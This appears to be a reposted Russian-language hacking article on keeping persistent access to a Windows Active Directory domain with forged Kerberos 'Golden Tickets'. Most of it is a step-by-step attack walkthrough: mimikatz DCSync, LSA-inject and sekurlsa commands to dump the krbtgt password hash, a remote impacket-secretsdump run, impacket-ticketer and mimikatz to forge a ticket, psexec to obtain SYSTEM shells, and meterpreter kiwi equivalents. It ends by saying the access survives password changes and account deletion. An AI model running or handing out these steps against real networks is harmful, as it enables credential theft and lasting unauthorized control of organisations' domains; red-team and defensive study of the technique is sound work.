![](/uploads/posts/2022-08/01.png)
Содержание статьи
Kerberos Golden Tickets
Один из способов сохранить доступ к системе — сформировать Golden Ticket: пароль учетной записи krbtgt
не будет изменен при тех же условиях, при которых может быть изменен пароль администратора.
Golden Ticket — это поддельные билеты для выдачи билетов, также называемые аутентификационными билетами (они же TGT). Если посмотреть на схему аутентификации Kerberos в случае Golden Ticket, то можно заметить, что подлинность Kerberos не проверяется (AS-REQ и AS-REP с контроллером домена). Так как Golden Ticket является поддельным TGT, он отправляется контроллеру домена как часть TGS-REQ для получения билета TGS.
![Схема аутентификации Kerberos c Golden Ticket](/uploads/posts/2022-08/01.png)
Золотой билет Kerberos — действительный билет Kerberos TGT, поскольку он зашифрован и подписан доменной учетной записью Kerberos (krbtgt
). А так как TGT зашифрован хешем пароля krbtgt
и может быть расшифрован любой службой KDC в домене, то билет и воспринимается как реальный. Для того чтобы сделать Golden Ticket, нам необходимо знать следующее:
- SPN домена.
- SID домена.
- NTLM-хеш доменной учетной записи
krbtgt
. - Имя пользователя, под которым будет работать оператор (даже если такого пользователя не существует).
Так как имя пользователя может быть любым, остается найти три недостающих компонента. Название и SID домена можно узнать с помощью PowerShell-команды Get-ADDomain
.
![SID и имя домена](/uploads/posts/2022-08/02.png)
Теперь нужно получить NTLM-хеш учетной записи krbtgt
. Сделать это можно как удаленно, так и с помощью mimikatz. С использованием mimikatz у оператора есть выбор: выполнить атаку DCSync, используя базу Security Account Managers (SAM), или задействовать модуль sekurlsa.
mimikatz # lsadump::dcsync /user:krbtgt
![Получаем хеши с помощью mimikatz, используя атаку DCSync](/uploads/posts/2022-08/03.png)
mimikatz # privilege::debugmimikatz # lsadump::lsa /inject /name:krbtgt
![Получаем хеши с помощью mimikatz, используя базу SAM](/uploads/posts/2022-08/04.png)
mimikatz # sekurlsa::krbtgt
![Получаем хеши с помощью mimikatz, используя модуль sekurlsa](/uploads/posts/2022-08/05.png)
Удаленная атака выполняется также с использованием DCSync или при наличии открытой сессии meterpreter
.
impacket-secretsdump domain.dom/[email protected]
![Получение хешей с помощью secretsdump](/uploads/posts/2022-08/06.png)
Существует два варианта использования meterpreter
: при помощи hashdump
и dcsync_ntlm
(для второго нужно загрузить модуль kiwi).
![Получение хешей с помощью meterpreter hashdump](/uploads/posts/2022-08/07.png)
![Получение хешей с помощью meterpreter dcsync_ntlm](/uploads/posts/2022-08/08.png)
С помощью полученной информации можно создать и применить Golden Ticket. Сделаем это тремя способами: используя mimikatz, удаленно с помощью ticketer
и с использованием meterpreter
.
Ticketer
Первым делом следует создать билет. Для этого используем скрипт ticketer
из пакета impacket
(напомню, что имя пользователя можно выдумать любое).
impacket-ticketer -nthash 08f5bf2e292d77d8e460d3926a0d90de -domain-sid S-1-5-21-719111203-942671344-1831409528 -domain domain.dom anyuser
![Создание Golden Ticket с помощью ticketer](/uploads/posts/2022-08/09.png)
В текущей директории создан билет anyuser.ccache
. Экспортируем его.
export KRB5CCNAME=anyuser.ccache
Теперь подключимся с помощью psexec
из того же пакета impacket
.
python3 psexec.py -k -no-pass [домен]/[пользователь]@[имя хоста]
![Подключаемся к хосту, используя Golden Ticket](/uploads/posts/2022-08/10.png)
Получаем удаленное управление с правами SYSTEM
.
Mimikatz
Создадим поддельный золотой билет с помощью mimikatz.
![Создание Golden Ticket с помощью mimikatz](/uploads/posts/2022-08/11.png)
Если в данной команде не использовать параметр /ptt
, то билет будет просто сохранен в текущей директории. В данном случае он сразу будет кеширован в памяти. Давай проверим это, вызвав командную строку.
mimikatz # misc::cmd
Теперь, выполнив команду klist
, наблюдаем кешированный Golden Ticket.
![Создание Golden Ticket с помощью mimikatz](/uploads/posts/2022-08/12.png)
Meterpreter
Для работы с meterpreter
будем использовать модуль kiwi. Первым делом создадим Golden Ticket.
![Создание Golden Ticket с помощью meterpreter](/uploads/posts/2022-08/13.png)
Теперь применим его.
![Применение Golden Ticket с помощью meterpreter](/uploads/posts/2022-08/14.png)
И проверим, что билет успешно загружен.
![Загруженный Golden Ticket](/uploads/posts/2022-08/15.png)
Таким образом, у нас остается возможность работы с повышенными привилегиями, при этом мы не используем учетных данных администраторов. Это означает, что мы можем получить доступ всегда, даже при смене паролей пользователей, изменении их ролей и даже при удалении скомпрометированных учетных записей.
Скачать:
Скриншоты:
Важно:
Все статьи и материал на сайте размещаются из свободных источников. Приносим свои глубочайшие извинения, если Ваша статья или материал была опубликована без Вашего на то согласия.
Напишите нам, и мы в срочном порядке примем меры.